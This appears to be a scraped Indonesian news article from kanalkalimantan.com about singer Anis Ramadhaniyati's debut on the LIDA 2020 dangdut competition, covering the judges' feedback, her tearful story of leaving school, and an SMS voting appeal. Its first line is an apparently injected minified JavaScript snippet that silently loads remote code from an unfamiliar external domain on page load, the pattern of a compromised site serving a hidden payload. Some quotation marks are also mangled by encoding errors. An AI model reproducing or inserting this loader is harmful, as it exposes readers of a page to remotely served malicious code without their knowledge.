(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA- Annisah Ramadhaniyati atau Anis LIDA akhirnya tampil perdana di panggung LIDA 2020, Minggu (26/1) malam. Membawakan lagu ‘Iming-iming’ ciptaan Muchlas AP yang dipopulerkan oleh Rita Sugiarto, Anis tampil memukau dewan juri. Kualitas vokal wakil Kalsel di ajang liga dangdut di televisi swasta Indoseiar tersebut mendapat pujian dewan juri yang terdiri dari Inul Daratista, Nasar Sungkar, dan Dewi Persik.
Dewi Persik yang memberikan komentar pertama, memuji penampilan Anis yang tampak anggun dan cantik. Ia mengatakan, secara kualitas vokal, dara asal Hulu Sungai Utara (HSU) ini memiliki suara matang, power, dan cengkok yang terasah. Hal tersebut merupakan jejak lawas Anis yang sebelumnya merupakan penyanyi yang eksis dari panggung ke panggung.
“Kami cantik dan anggun. Saya suka dengan kualitas vokal kamu yang bagus, apalagi kamu masih cukup muda. Baru 20 tahun,†kata Dewi.
Walau demikian, Dewi Persik mengatakan, Anis masih terlihat grogi di penampilan pertamanya. Hal tersebut menyebabkan ia kurang bisa menguasai panggung secara penuh. “Tapi saya bisa memahami karena ini baru penampilan pertama. Nanti kalo lolos, usahakan untuk menghilangkan itu,†pesan Dewi Persik.
Hal sama disampaikan Bunda Inul yang mengatakan penampilan dan kualitas vokal Anis sudah cukup bagus. Hingga tinggal polesan saja, agar lebih maksimal. Namun sebagai kritik, Bunda Inul menyampaikan Anis masih kurang fokus antara bait lagu dan jedah saat musik. Saat bernyanyi feel masih datang dan pergi. “Harus ada keutuhan dalam lagu dan penjiwaan. Tadi penghayatannya seperti saat dalam lagu saja. Tetap saja dengan ekspresi kecewa, sehingga jiwanya tetap ada. Karena ini kompetisi kamu harus jadi yang terbaik,†tegasnya.
Sementara Nasar meminta agar Anis memperhatikan masukan yang disampaikan juri agar penampilan kedepan lebih bagus lagi. “Terus belajar dan belajar menjadi yang terbaik,†tegasnya.
Yang jadi perhatian, penampilan Anis LIDA juga mengundang derai air mata dari penonton dan dewan juri, terutama dari Bunda Inul atau Inul Daratista. Ini terjadi ketika host Irfan Hakim mulai mengorek terkait sejarah mantan Juara tiga Festival Dangdut se-Kalimantan Selatan dan Kalimantan Tengah (Kalselteng) di Barito Timur ini sebagai penyanyi dangdut.
Anis LIDA menuturkan, bahwa ia menyanyi sudah sejak 13 tahunan yang lalu. Tepatnya sejak kelas 2 SMP. Ia mengatakan, dalam perjalanan kariernya sebagai penyanyi panggung, hal paling disesali adalah pada saat ia memutuskan untuk putus sekaloh.
Keputusan Anis yang saat itu masih cukup muda untuk berhenti sekolah demi menyanyi, tentunya menjadi kekecewaan orangtua dan keluarganya. “Mungkin Anis terlalu senang dapat uang sendiri ketika itu. Merasa bahagia, sampai malas sekolah. Orangtua tentu saja sedih, terutama Abah (ayahnya),†katanya.
Ia mengatakan, ayahnya yang saat ini sedang sakit stroke sempat kecewa. Anis pada momen tersebut, secara khusus minta maaf atas keputusannya dahulu kepada ayahnya. “Abah maafkan ulun (saya). Anis usahakan nanti mau mengambil sekolah lagi. Mau berjuang juga, buat obat Abah,†ujar Anis sambil menangis.
Menanggapi hal tersebut, Bunda Inul mengatakan dirinya mirip seperti Anis. Ia putus sekolah hanya sampai SMP. “Tapi kamu harus punya pembuktian. Walaupun tidak sekolah, kamu bisa menjadi hebat. Jangan patah di tengah jalan. Saat kamu tampil di sini tunjukkan kamu hebat. Saya juga sama seperti kamu, mengecewakan keluarga. Emak saya, Bapak saya yang sudah meninggal. Tapi kasih tahu pada mereka, saya tidak apa tidak sekolah. Tapi saya tunjukkan pada Bapak dan ibu, saya akan bikin orang tua bangga,†kata Inul yang kini menjadi salah satu penyanyi sukses Indonesia ini.
Di akhir acara, Anis LIDA mendatangi Bunda Inul dan mendapatkan pelukan spesial sebagai dukungan untuk terus membuktikan sebagai yang terbaik. Lebih mengharukan lagi, ketika itu Indosiar juga menayangkan dukungan ayah Anis, meski dengan berbaring di tempat tidur. “Anis harus terus berjuang,†kata Abah Anis.
Hingga berita ini ditulis, posisi Anis LIDA di polling SMS masih menempati urutan 3 dengan dukungan 16,48 persen. Karena sistem voting SMS menjadi salah satu tolak ukur kemenangan agar bisa terus melaju ke babak LIDA selanjutnya, Anis sangat berharap dukungan masyarakat Kalimantan Selatan dengan cara mengetik LIDA (spasi) ANIS kirim ke 97288. (kanalkalimantan.com/cel)
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
This website uses cookies.